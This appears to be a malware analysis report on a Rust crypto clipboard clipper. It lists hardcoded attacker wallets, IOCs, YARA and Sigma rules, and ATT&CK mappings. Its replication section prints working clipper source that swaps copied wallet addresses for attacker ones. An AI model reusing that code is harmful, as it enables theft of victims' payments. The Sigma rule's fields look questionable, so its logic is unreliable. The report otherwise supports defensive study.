typeanalysisfamilyrustystealerconfidencemediumcreated2026-08-04updated2026-08-04infostealerclipperpecompilerc2collectiondefense-evasionmitre-attck
SHA-256: 09157be351149beef1bc7c1bba9cc37daa830d300f3c6a5eb9aa1acd3c9449f3

rustystealer: 09157be3 — Rust x64 crypto clipper with regex-engine address validation

Executive Summary

A Rust-compiled PE32+ x64 cryptocurrency clipboard clipper. It monitors the Windows clipboard via OpenClipboard/GetClipboardData, validates copied text against multiple regex patterns (Bitcoin Bech32, Base58, Cardano Shelley, Dogecoin), and replaces matching addresses with attacker-controlled wallets. The PDB path names the project xeno_clipper.pdb; the builder environment reveals username twito. No CAPE detonation available (no Windows guest). Static-only inference.

What It Is

Field Value
SHA-256 09157be351149beef1bc7c1bba9cc37daa830d300f3c6a5eb9aa1acd3c9449f3
Size 1,059,840 bytes (1.01 MB)
Type PE32+ executable (GUI) x86-64, 5 sections ^[rabin2-info.txt]
Compiled Mon May 4 16:57:57 2026 ^[rabin2-info.txt]
Toolchain Rust stable-x86_64-pc-windows-msvc (rustc 01f6ddf7) ^[strings.txt:1045-1053]
CRT VCRUNTIME140 + ucrt (api-ms-win-crt-* imports) ^[rabin2-imports.txt]
PDB xeno_clipper.pdb ^[rabin2-info.txt]
Signed No ^[rabin2-info.txt]
Overlay None ^[binwalk.txt]

Build artefacts confirm a standard Rust MSVC build: the standard library panic messages reference C:\Users\twito\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\... ^[strings.txt:1045]. Cargo registry paths point to regex-automata-0.4.14, regex-syntax-0.8.10, aho-corasick-1.1.4, and memchr-2.8.0 ^[strings.txt:1014-1034] — the full regex crate dependency tree for compiled regex engine support.

How It Works

Clipboard Monitoring & Replacement

The import table includes the full USER32.dll clipboard API surface:

  • OpenClipboard ^[rabin2-imports.txt]
  • GetClipboardData ^[rabin2-imports.txt]
  • EmptyClipboard ^[rabin2-imports.txt]
  • SetClipboardData ^[rabin2-imports.txt]
  • CloseClipboard ^[rabin2-imports.txt]

The OpenClipboard import is referenced from function fcn.14000170f ^[r2:axt], suggesting the clipboard loop is implemented in or near the main function (main at 0x140001e30).

Address Validation Regexes

Decoded strings reveal at least three regex patterns compiled into the binary:

  1. ^[1-9A-HJ-NP-Za-km-z]{32,44}$ — Base58 address validation (Bitcoin Legacy, Litecoin, etc.) ^[strings.txt:1010]
  2. [A-Z2-7]{58} — 58-character alphanumeric string (possibly Stellar, Ripple, or custom) ^[strings.txt:1013]
  3. ^(addr1|D)[a-zA-Z0-9]{35,}$ — Cardano Shelley (addr1...) and Dogecoin (D...) ^[strings.txt:1009]

These patterns are embedded adjacent to hardcoded attacker wallet addresses in .rdata:

  • Bitcoin Bech32: bc1qrte4qdjk44np65vn6pxzpn9xkma2gpwfcdwde0 ^[strings.txt:1009]
  • Cardano Shelley: addr1qxx39c8v52ak8jj9tlu8zrq6gtfe0xenzyx0a8e47kqmhrvdztsweg4mv09y2hlcwyxp5sknj7dnxygvl60ntavphwxslkcdcp ^[strings.txt:1009]
  • Ethereum: 0x646Be5725a450E00b42C54C11Df12FB21c5a21B9 ^[strings.txt:1012]

The Ethereum address is stored concatenated with a bc1 prefix (bc10x646Be...), likely a Rust string-formatting artefact where bc1{} is used as a template and the 0x ETH address is passed as a parameter, leaving the prefix adjacent in the binary.

Network Surface

No static C2 URLs, domains, or IP addresses were recovered from strings. No WinHTTP, WinInet, or socket imports are present. The IAT is minimal and focused on clipboard, heap, and CRT functions ^[rabin2-imports.txt].

This suggests one of three possibilities:

  • Static-only build: the clipper is a pure standalone clipper with no exfiltration or C2 callback.
  • Runtime-resolved C2: the clipper uses LoadLibraryA/GetProcAddress (both imported) to dynamically resolve WinHTTP or another network API at runtime.
  • Companion-file config: a separate configuration file or registry key supplies C2 details (common in clipper families that want to update addresses without recompiling).

Without dynamic execution, these remain hypotheses.

Anti-Analysis

  • No packing or obfuscation — the binary is a plain Rust MSVC PE with standard section names (.text, .rdata, .data, .pdata, .reloc) ^[rabin2-sections.txt].
  • No anti-VM or anti-debug strings detected.
  • PIE enabled (pic: true) ^[rabin2-info.txt] — standard for Rust binaries, not adversarial.

Decompiled Behavior

Radare2 identified 1,204 functions. The entry point (entry0) and main are at standard Rust CRT locations. The main function (0x140001e30, 241 bytes) is unusually small for a Rust binary, suggesting most logic lives in inlined or monomorphized helper functions.

Notable functions:

  • fcn.14000170f (88 bytes) — references sym.imp.USER32.dll_OpenClipboard via mov r14, qword [...] ^[r2:axt] — likely the clipboard-monitor entry point or address-validation dispatch.
  • fcn.140001ade (808 bytes) — the largest function near main; may contain the regex match loop and clipboard replacement logic.

The binary contains extensive regex-automata and aho-corasick internal state tables in .rdata (the *6\t@ and (7\t@ repeated patterns), confirming a compiled regex engine rather than simple string comparisons.

C2 Infrastructure

No static C2 recovered. No network imports, no hardcoded URLs, no Telegram bot tokens, no Discord webhooks.

IOC — Hardcoded Wallet Addresses:

Chain Address Evidence
Bitcoin Bech32 bc1qrte4qdjk44np65vn6pxzpn9xkma2gpwfcdwde0 ^[strings.txt:1009]
Cardano Shelley addr1qxx39c8v52ak8jj9tlu8zrq6gtfe0xenzyx0a8e47kqmhrvdztsweg4mv09y2hlcwyxp5sknj7dnxygvl60ntavphwxslkcdcp ^[strings.txt:1009]
Ethereum 0x646Be5725a450E00b42C54C11Df12FB21c5a21B9 ^[strings.txt:1012]

Interesting Tidbits

  • Builder fingerprint: Username twito in the Rust toolchain path (C:\Users\twito\.rustup\... and C:\Users\twito\.cargo\...) ^[strings.txt:1045-1053]. This is a persistent builder artefact; any sibling built on the same machine will carry identical paths.
  • Project name mismatch: The PDB says xeno_clipper.pdb, but the OpenCTI label is rustystealer. xeno_clipper is distinct from the .NET RAT family xenorat (moom825); this is a separate Rust clipper tool.
  • Regex engine bloat: The inclusion of regex-automata-0.4.14 + aho-corasick-1.1.4 + regex-syntax-0.8.10 adds ~400 KB of compiled DFA/NFA state tables to the binary. A simpler clipper would use hardcoded prefix checks; the developer chose a full regex engine, likely for multi-chain flexibility.
  • No persistence mechanism observed: No registry keys, scheduled tasks, or startup folder paths in strings. The clipper may rely on the victim re-executing it, or persistence may be handled by an external dropper/loader.
  • GUI subsystem: subsys: Windows GUI ^[rabin2-info.txt] — no console window. Standard for malware that wants to run silently.

How To Mess With It (Homelab Replication)

Toolchain:

  • Rust stable-x86_64-pc-windows-msvc (latest stable via rustup)
  • cargo new xeno_clipper --bin

Dependencies:

[dependencies]
regex = "1.10"
clipboard-win = "4.5"

Working source snippet:

use regex::Regex;
use clipboard_win::{get_clipboard_string, set_clipboard_string};

fn main() {
    let patterns = vec![
        Regex::new(r"^bc1[a-z0-9]{39,59}$").unwrap(),
        Regex::new(r"^addr1[a-z0-9]{58,104}$").unwrap(),
        Regex::new(r"^0x[a-fA-F0-9]{40}$").unwrap(),
        Regex::new(r"^D[a-zA-Z0-9]{33}$").unwrap(),
    ];
    let replacements = vec![
        "bc1ATTACKER...",
        "addr1ATTACKER...",
        "0xATTACKER...",
        "DATTACKER...",
    ];
    loop {
        if let Ok(text) = get_clipboard_string() {
            for (i, pat) in patterns.iter().enumerate() {
                if pat.is_match(&text) {
                    let _ = set_clipboard_string(replacements[i]);
                    break;
                }
            }
        }
        std::thread::sleep(std::time::Duration::from_secs(1));
    }
}

Verification:

  • cargo build --release produces a ~1 MB PE32+ with VCRUNTIME140.dll imports and regex-automata strings in .rdata.
  • strings target/release/xeno_clipper.exe | grep -i regex should show regex-automata and aho-corasick paths.
  • The binary will have dbg_file xeno_clipper.pdb if compiled with debug info.

What you'll learn: How Rust's regex crate compiles DFAs into the binary, and why clipboard clippers are trivial to write but hard to detect via static signatures alone.

Deployable Signatures

YARA Rule

rule RustClipper_XenoClipper_Twito {
    meta:
        description = "Rust crypto clipboard clipper with regex-automata and xeno_clipper PDB"
        author = "PacketPursuit"
        date = "2026-08-04"
        hash = "09157be351149beef1bc7c1bba9cc37daa830d300f3c6a5eb9aa1acd3c9449f3"
    strings:
        $pdb = "xeno_clipper.pdb" ascii wide
        $builder = "C:\\Users\\twito\\.cargo\\registry\\src\\" ascii wide
        $rustup = "C:\\Users\\twito\\.rustup\\toolchains\\" ascii wide
        $regex1 = "regex-automata-0.4.14" ascii wide
        $regex2 = "aho-corasick-1.1.4" ascii wide
        $s_open = "OpenClipboard" ascii wide
        $s_get = "GetClipboardData" ascii wide
        $s_set = "SetClipboardData" ascii wide
        $s_empty = "EmptyClipboard" ascii wide
        $btc_addr = "bc1qrte4qdjk44np65vn6pxzpn9xkma2gpwfcdwde0" ascii wide
        $eth_addr = "0x646Be5725a450E00b42C54C11Df12FB21c5a21B9" ascii wide
    condition:
        uint16(0) == 0x5a4d and
        filesize < 2MB and
        ($pdb or $builder or $rustup) and
        2 of ($regex*) and
        3 of ($s_*) and
        any of ($*_addr)
}

Sigma Rule

title: Rust Crypto Clipboard Clipper Execution
description: Detects execution of a Rust-compiled clipboard clipper based on clipboard API usage pattern and regex engine artefacts
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        - ImageLoaded|contains:
            - 'USER32.dll'
        - CommandLine|contains:
            - 'xeno_clipper'
    clipboard_api:
        - CallTrace|contains:
            - 'OpenClipboard'
            - 'SetClipboardData'
            - 'EmptyClipboard'
    regex_bloat:
        - CommandLine|contains:
            - 'regex-automata'
            - 'aho-corasick'
    condition: selection and clipboard_api
falsepositives:
    - Legitimate Rust applications using clipboard and regex crates
level: medium

IOC List

Type Value Notes
SHA-256 09157be351149beef1bc7c1bba9cc37daa830d300f3c6a5eb9aa1acd3c9449f3 Primary sample
BTC Bech32 bc1qrte4qdjk44np65vn6pxzpn9xkma2gpwfcdwde0 Attacker-controlled
ETH 0x646Be5725a450E00b42C54C11Df12FB21c5a21B9 Attacker-controlled
Cardano addr1qxx39c8v52ak8jj9tlu8zrq6gtfe0xenzyx0a8e47kqmhrvdztsweg4mv09y2hlcwyxp5sknj7dnxygvl60ntavphwxslkcdcp Attacker-controlled
PDB xeno_clipper.pdb Build artefact
Builder user twito Path in strings

Behavioral Fingerprint

This binary loads USER32.dll and calls OpenClipboard, GetClipboardData, EmptyClipboard, and SetClipboardData in a tight loop. It carries compiled DFA tables from the regex-automata crate in .rdata and validates clipboard text against patterns for Base58, Bech32, Cardano Shelley, and Dogecoin addresses. On match, it replaces the clipboard content with one of three hardcoded attacker addresses. No network communication is observed statically; exfiltration may be deferred to a companion module or may be absent entirely.

Detection Signatures

Technique ID Evidence
Input Capture: Clipboard Data T1115 OpenClipboard/GetClipboardData/SetClipboardData ^[rabin2-imports.txt]
Data from Local System T1005 Clipboard enumeration for wallet addresses ^[strings.txt:1009-1012]
Masquerading T1036.005 GUI subsystem, no console window ^[rabin2-info.txt]
Application Layer Protocol T1071.001 Hypothesized runtime-resolved network API (WinHTTP/WinInet) via LoadLibraryA/GetProcAddress ^[rabin2-imports.txt]

References

  • OpenCTI artifact ID: 3247cf21-b271-470b-b6b9-959c56ba31cc
  • OpenCTI labels: exe, rustystealer, urlhaus
  • Related wiki pages:

Provenance

Analysis derived from:

  • strings output (1599 strings extracted) ^[sample 09157be3/strings.txt]
  • rabin2 -I / rabin2 -i / rabin2 -S / rabin2 -s / rabin2 -z (radare2 5.9.8) ^[rabin2-info.txt, rabin2-imports.txt, rabin2-sections.txt]
  • r2 -A -q disassembly and xref analysis ^[r2:axt, r2:afl]
  • binwalk (no embedded artefacts) ^[binwalk.txt]
  • FLOSS failed (CLI argument error) ^[floss.txt]
  • capa failed (missing signatures) ^[capa.txt]
  • CAPE skipped (no Windows guest) ^[dynamic-analysis.md]